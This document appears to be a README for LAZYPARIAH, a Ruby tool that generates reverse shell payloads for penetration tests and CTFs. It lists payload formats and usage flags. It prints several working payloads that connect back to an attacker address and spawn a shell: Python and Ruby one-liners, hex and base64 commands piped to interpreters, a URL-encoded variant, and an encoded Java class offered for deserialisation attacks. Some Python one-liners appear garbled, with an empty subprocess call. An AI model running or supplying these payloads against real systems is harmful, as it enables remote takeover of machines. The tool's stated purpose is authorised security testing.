LAZYPARIAH — Low-Dependency CLI Tool for Generating Reverse Shell Payloads
LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.
The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):
- C binary payloads (compiled on the fly): c_binary, c_binary_b64, c_binary_gzip, c_binary_gzip_b64, c_binary_hex, c_binary_gzip_hex
- Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
- Base64-encoded Python payloads: python_b64
- Rust binary payloads (compiled on the fly): rust_binary, rust_binary_b64, rust_binary_gzip, rust_binary_gzip_b64, rust_binary_gzip_hex, rust_binary_hex
- PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
- Java classes (compiled on the fly): java_class_binary, java_class_b64, java_class_gzip_b64
- Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags
Warning
This tool is intended to be used only in authorised circumstances by qualified penetration testers, security researchers and red team professionals. Before downloading, installing or using this tool, ensure that you understand the relevant laws in your jurisdiction. The author of this tool does not endorse, encourage or condone the use of this tool for illegal or unauthorised purposes.
Dependencies
- Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby)
- OpenJDK (Optional: Only required for java_class payloads.)
- GCC (Optional: Only required for c_binary payloads.)
- Rust (Optional: Only required for rust_binary payloads.)
Installation
LAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows:
gem install lazypariah
Usage
Usage: lazypariah
Note: may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python3_b64 10.10.14.4 1555
Example: lazypariah python2_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
c_binary_b64
c_binary_gzip
c_binary_gzip_b64
c_binary_gzip_hex
c_binary_hex
java_class_b64
java_class_binary
java_class_gzip_b64
nc
nc_pipe
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
python
python_b64
python_c
python_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
rust_binary_b64
rust_binary_gzip
rust_binary_gzip_b64
rust_binary_gzip_hex
rust_binary_hex
socat
Valid Options:
-h, — help Display help text and exit.
-l, — license Display license information and exit.
-u, — url URL-encode the payload.
-v, — version Display version information and exit.
-D, — fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads.
-P, — pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
-N, — no-new-line Do not append a new-line character to the end of the payload.
Further Notes and Examples
The payloads listed above are more-or-less systematically named.
Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).
For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.4”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call();’
The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.4”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call();
Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).
For example, the command lazypariah python_b64 10.10.14.4 1337 should produce the following output:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
These types of payloads can be useful in certain situations because they do not include any single or double quotes.
In a similar manner, selecting payloads ending with _hex will produce a command that pipes a hexadecimal-encoded block of code through to xxd -p -r — and then on through to the relevant interpreter. For example, lazypariah perl_hex 10.10.14.4 1337 should produce the following output:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r — | perl
The exception to this is compiled payloads, such as c_binary_b64, java_class_gzip_b64 and rust_binary_hex. Since C, Java and Rust are not interpreted languages, selecting these payloads will simply output the base64-encoded or hexadecimal-encoded data (depending on the payload). If one selects e.g. java_class_gzip_b64, the resulting payload should be a base64-encoded gzip-compressed Java class file containing a reverse shell payload. Such payloads may be useful for exploiting insecure deserialisation in a Java web application. For example, the command lazypariah java_class_gzip_b64 10.10.14.4 1337 should produce the following payload:
H4sIAGBTu18AA3VTXVcSURTdgzNcoFEUMaU0M7XwC7QsE8xK08LwoyANzVoD3HQUGdfMUPZXfKi1fPG1XrCVq35AP6bVL8jOBUnJGu5sztl3n3vOmTnz/deXbwBG8MqDNvQw9DL0udDvgQMDAkICwgyDLgx54MJ1DzpxQ8CwcEvWTWGV4JYHXRgRcNuDbowKiCgoXxQaxZgIuMMwLv7viph7DPcZJiQ4x/S8bo9LqAn2LEqQJ40sl+CN63k+V9hKczOppXPE1CZsLbM5q22XfIZJhgcMUxI8UzsZvm3rRt4iJ2EUzAyf1kUIM63QhvZGU3EJ7RJahB3Oafm18IJpZLhlTRT0XJabEupPthK2qefXKDic1vNha10ET6t4iEcqYpih0kraPLfDCSOzyW1KOjQYEms4NCzUj1XEMatiTsA8FlQ8wVMVCSRVPBOwiCUVz9HOkFKxjBUVL5CU0HhSxJ+WVKyiXcVLUb/DtKoqnU9v8AylbzjTV+Us3QjH8tsFm3ri2pYEf4WdL9in6PPBlfjfDyAqXkajybO6SUmmTNMwK/K24HJP/H/PMipBsWzNpLqagv+QRUW6s9liIl3dGrer6m2unFDdSLQsrSrKS0R1Vy2ngk/vULRLtyZzhsWzpalbluAmnZ4rDxoxMZpDktK28tbUbSLlYKlC5XWuYK1XvYXk+rHSynG+LZQzQunmO7q9qOUKYg6z3LJN4x2JMiItOtBK3524JPrRcNLXdlk4cMJN7MfeA0iHcKTkr6hJ1fjkxAEUuQhnESx+CFfK525QRg/gme0r4twcgRqR+4uojShk10WcZHsjjLB+F6sDRTS8hzfAyPAV0bh/9DMgl7j6ABNWmfwRUI5Jp7AqJCvCH6DEfj+aPqOZzm9Z2ocr4to/2iPnAiW5+IlK38UH7CFAnXRA9CGVurtC2At2hGm4GFoZOpkwuiqrmxapfX7/EkNAxlXSyxQXoPsa2Q4EfwOw0NwVrQQAAA==
Some payloads require the user to specify the file descriptor used by the target for TCP connections. One example of such a payload is php_fd_tags, which is a simple PHP payload enclosed within PHP tags () that targets a specific file descriptor.
To specify a target file descriptor, the user must use the command line argument -D INTEGER or — fd INTEGER. For example, to generate a php_fd_tags payload that targets file descriptor 5, the following command can be used: lazypariah -D 5 php_fd_tags 10.10.14.4 1337
The resulting payload should be as follows:
Below are some examples of commands and their respective outputs.
Output of command lazypariah -P 3 -u python_b64 10.10.14.4 1337:
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
Output of command lazypariah -P 2 python_c 10.10.14.4 1337:
python2 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.4”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call();’
Output of command lazypariah -D 3 php_fd_tags 10.10.14.4 1337:
Output of command lazypariah ruby 10.10.14.4 1337:
require “socket”;exit if fork;c=TCPSocket.new(“10.10.14.4”,”1337");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end
